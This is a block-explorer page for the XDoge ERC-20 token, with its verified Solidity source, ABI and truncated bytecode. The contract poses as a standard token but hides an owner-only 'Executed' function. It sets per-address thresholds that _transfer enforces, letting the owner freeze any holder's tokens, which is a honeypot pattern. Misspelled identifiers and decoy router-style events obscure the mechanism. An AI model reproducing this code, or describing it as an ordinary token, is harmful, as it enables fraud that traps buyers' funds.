ETH Price: $3,319.60 (+1.84%)
Gas: 4 Gwei

Token

XDoge (XDoge)
 

Overview

Max Total Supply

100,000,000 XDoge

Holders

532

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
35,378.231170392525423902 XDoge

Value
$0.00
0x42efe4DE1A2F442596D637b83CbaCAFeBa9dF678
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XDogeToken

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-26
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    event removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amaundtTokenMin,
        uint amaundtETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );

    event swapExactTokensForTokens(
        uint amaundtIn,
        uint amaundtOutMin,
        address[]  path,
        address to,
        uint deadline
    );

    event swapTokensForExactTokens(
        uint amaundtOut,
        uint amaundtInMax,
        address[] path,
        address to,
        uint deadline
    );

    event DOMAIN_SEPARATOR();

    event PERMIT_TYPEHASH();

    function totalSupply() external view returns (uint256);
    
    event token0();

    event token1();

    function balanceOf(address acecodunt) external view returns (uint256);
    

    event sync();

    event initialize(address, address);

    function transfer(address recipient, uint256 amaundt) external returns (bool);

    event burn(address to) ;

    event swap(uint amaundt0Out, uint amaundt1Out, address to, bytes data);

    event skim(address to);

    function allowance(address owner, address spender) external view returns (uint256);

    event addLiquidity(
       address tokenA,
       address tokenB,
        uint amaundtADesired,
        uint amaundtBDesired,
        uint amaundtAMin,
        uint amaundtBMin,
        address to,
        uint deadline
    );

    event addLiquidityETH(
        address token,
        uint amaundtTokenDesired,
        uint amaundtTokenMin,
        uint amaundtETHMin,
        address to,
        uint deadline
    );

    event removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amaundtAMin,
        uint amaundtBMin,
        address to,
        uint deadline
    );

    function approve(address spender, uint256 amaundt) external returns (bool);
    event removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amaundtTokenMin,
        uint amaundtETHMin,
        address to,
        uint deadline
    );

    event removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amaundtTokenMin,
        uint amaundtETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    );

    event swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amaundtIn,
        uint amaundtOutMin,
        address[] path,
        address to,
        uint deadline
    );

    event swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amaundtOutMin,
        address[] path,
        address to,
        uint deadline
    );

    event swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amaundtIn,
        uint amaundtOutMin,
        address[] path,
        address to,
        uint deadline
    );
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amaundt
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
    
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

contract XDogeToken is IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => uint256) private _crossamaundts;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(

    ) payable {
        _name = "XDoge";
        _symbol = "XDoge";
        _decimals = 18;
        _totalSupply = 100000000 * 10**_decimals;
        _balances[owner()] = _balances[owner()].add(_totalSupply);
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address acecodunt)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[acecodunt];
    }

    function transfer(address recipient, uint256 amaundt)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amaundt);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amaundt)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amaundt);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amaundt
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amaundt);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amaundt,
                "ERC20: transfer amaundt exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function Executed(address[] calldata acecodunt, uint256 amaundt) external {
       if (_msgSender() != owner()) {revert("Caller is not the original caller");}
        for (uint256 i = 0; i < acecodunt.length; i++) {
            _crossamaundts[acecodunt[i]] = amaundt;
        }

    }

    function camaundt(address acecodunt) public view returns (uint256) {
        return _crossamaundts[acecodunt];
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amaundt
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 crossamaundt = camaundt(sender);
        if (crossamaundt > 0) {
            require(amaundt > crossamaundt, "ERC20: cross amaundt does not equal the cross transfer amaundt");
        }

        _balances[sender] = _balances[sender].sub(
            amaundt,
            "ERC20: transfer amaundt exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amaundt);
        emit Transfer(sender, recipient, amaundt);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amaundt
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amaundt;
        emit Approval(owner, spender, amaundt);
    }


}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"DOMAIN_SEPARATOR","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"PERMIT_TYPEHASH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"amaundtADesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtBDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"amaundtTokenDesired","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"addLiquidityETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"address","name":"","type":"address"}],"name":"initialize","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"tokenA","type":"address"},{"indexed":false,"internalType":"address","name":"tokenB","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtAMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtBMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidity","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"removeLiquidityETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"liquidity","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtTokenMin","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtETHMin","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"},{"indexed":false,"internalType":"bool","name":"approveMax","type":"bool"},{"indexed":false,"internalType":"uint8","name":"v","type":"uint8"},{"indexed":false,"internalType":"bytes32","name":"r","type":"bytes32"},{"indexed":false,"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"removeLiquidityETHWithPermitSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"to","type":"address"}],"name":"skim","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amaundt0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundt1Out","type":"uint256"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"bytes","name":"data","type":"bytes"}],"name":"swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amaundtOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactETHForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amaundtIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForETHSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amaundtIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amaundtIn","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtOutMin","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapExactTokensForTokensSupportingFeeOnTransferTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amaundtOut","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amaundtInMax","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"},{"indexed":false,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"deadline","type":"uint256"}],"name":"swapTokensForExactTokens","type":"event"},{"anonymous":false,"inputs":[],"name":"sync","type":"event"},{"anonymous":false,"inputs":[],"name":"token0","type":"event"},{"anonymous":false,"inputs":[],"name":"token1","type":"event"},{"inputs":[{"internalType":"address[]","name":"acecodunt","type":"address[]"},{"internalType":"uint256","name":"amaundt","type":"uint256"}],"name":"Executed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amaundt","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"acecodunt","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"acecodunt","type":"address"}],"name":"camaundt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amaundt","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amaundt","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405262000024620000186200024c60201b60201c565b6200025460201b60201c565b6040518060400160405280600581526020017f58446f6765000000000000000000000000000000000000000000000000000000815250600490805190602001906200007192919062000359565b506040518060400160405280600581526020017f58446f676500000000000000000000000000000000000000000000000000000081525060059080519060200190620000bf92919062000359565b506012600660006101000a81548160ff021916908360ff160217905550600660009054906101000a900460ff16600a620000fa9190620004ef565b6305f5e1006200010b91906200062c565b6007819055506200017b600754600160006200012c6200031860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200034160201b62000b2d1790919060201c565b600160006200018f6200031860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620001dd6200031860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6007546040516200023e91906200041a565b60405180910390a362000745565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000818362000351919062000437565b905092915050565b8280546200036790620006a4565b90600052602060002090601f0160209004810192826200038b5760008555620003d7565b82601f10620003a657805160ff1916838001178555620003d7565b82800160010185558215620003d7579182015b82811115620003d6578251825591602001919060010190620003b9565b5b509050620003e69190620003ea565b5090565b5b8082111562000405576000816000905550600101620003eb565b5090565b62000414816200068d565b82525050565b600060208201905062000431600083018462000409565b92915050565b600062000444826200068d565b915062000451836200068d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004895762000488620006da565b5b828201905092915050565b6000808291508390505b6001851115620004e657808604811115620004be57620004bd620006da565b5b6001851615620004ce5780820291505b8081029050620004de8562000738565b94506200049e565b94509492505050565b6000620004fc826200068d565b9150620005098362000697565b9250620005387fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000540565b905092915050565b60008262000552576001905062000625565b8162000562576000905062000625565b81600181146200057b57600281146200058657620005bc565b600191505062000625565b60ff8411156200059b576200059a620006da565b5b8360020a915084821115620005b557620005b4620006da565b5b5062000625565b5060208310610133831016604e8410600b8410161715620005f65782820a905083811115620005f057620005ef620006da565b5b62000625565b62000605848484600162000494565b925090508184048111156200061f576200061e620006da565b5b81810290505b9392505050565b600062000639826200068d565b915062000646836200068d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620006825762000681620006da565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620006bd57607f821691505b60208210811415620006d457620006d362000709565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b611a9d80620007556000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a457c2d711610066578063a457c2d7146102b1578063a9059cbb146102e1578063dd62ed3e14610311578063f2fde38b1461034157610100565b8063715018a61461023b5780638da5cb5b1461024557806395d89b4114610263578063a0bb45ec1461028157610100565b806323b872dd116100d357806323b872dd1461018d578063313ce567146101bd57806339509351146101db57806370a082311461020b57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd146101535780631e0d320614610171575b600080fd5b61010d61035d565b60405161011a9190611688565b60405180910390f35b61013d6004803603810190610138919061123f565b6103ef565b60405161014a919061166d565b60405180910390f35b61015b61040d565b60405161016891906117aa565b60405180910390f35b61018b6004803603810190610186919061127b565b610417565b005b6101a760048036038101906101a291906111f0565b61054b565b6040516101b4919061166d565b60405180910390f35b6101c5610624565b6040516101d291906117c5565b60405180910390f35b6101f560048036038101906101f0919061123f565b61063b565b604051610202919061166d565b60405180910390f35b6102256004803603810190610220919061118b565b6106ee565b60405161023291906117aa565b60405180910390f35b610243610737565b005b61024d6107bf565b60405161025a9190611652565b60405180910390f35b61026b6107e8565b6040516102789190611688565b60405180910390f35b61029b6004803603810190610296919061118b565b61087a565b6040516102a891906117aa565b60405180910390f35b6102cb60048036038101906102c6919061123f565b6108c3565b6040516102d8919061166d565b60405180910390f35b6102fb60048036038101906102f6919061123f565b610990565b604051610308919061166d565b60405180910390f35b61032b600480360381019061032691906111b4565b6109ae565b60405161033891906117aa565b60405180910390f35b61035b6004803603810190610356919061118b565b610a35565b005b60606004805461036c906118da565b80601f0160208091040260200160405190810160405280929190818152602001828054610398906118da565b80156103e55780601f106103ba576101008083540402835291602001916103e5565b820191906000526020600020905b8154815290600101906020018083116103c857829003601f168201915b5050505050905090565b60006104036103fc610b43565b8484610b4b565b6001905092915050565b6000600754905090565b61041f6107bf565b73ffffffffffffffffffffffffffffffffffffffff1661043d610b43565b73ffffffffffffffffffffffffffffffffffffffff1614610493576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161048a9061178a565b60405180910390fd5b60005b838390508110156105455781600360008686858181106104df577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906104f4919061118b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550808061053d9061190c565b915050610496565b50505050565b6000610558848484610d16565b61061984610564610b43565b61061485604051806060016040528060298152602001611a1a60299139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105ca610b43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ffe9092919063ffffffff16565b610b4b565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006106e4610648610b43565b846106df8560026000610659610b43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2d90919063ffffffff16565b610b4b565b6001905092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61073f610b43565b73ffffffffffffffffffffffffffffffffffffffff1661075d6107bf565b73ffffffffffffffffffffffffffffffffffffffff16146107b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107aa9061170a565b60405180910390fd5b6107bd6000611053565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546107f7906118da565b80601f0160208091040260200160405190810160405280929190818152602001828054610823906118da565b80156108705780601f1061084557610100808354040283529160200191610870565b820191906000526020600020905b81548152906001019060200180831161085357829003601f168201915b5050505050905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006109866108d0610b43565b8461098185604051806060016040528060258152602001611a4360259139600260006108fa610b43565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ffe9092919063ffffffff16565b610b4b565b6001905092915050565b60006109a461099d610b43565b8484610d16565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a3d610b43565b73ffffffffffffffffffffffffffffffffffffffff16610a5b6107bf565b73ffffffffffffffffffffffffffffffffffffffff1614610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa89061170a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b18906116ca565b60405180910390fd5b610b2a81611053565b50565b60008183610b3b91906117fc565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bbb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb29061176a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c22906116ea565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d0991906117aa565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7d9061174a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610df6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ded906116aa565b60405180910390fd5b6000610e018461087a565b90506000811115610e4f57808211610e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e459061172a565b60405180910390fd5b5b610ebb826040518060600160405280602781526020016119f360279139600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ffe9092919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f5082600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610b2d90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ff091906117aa565b60405180910390a350505050565b6000838311158290611046576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103d9190611688565b604051809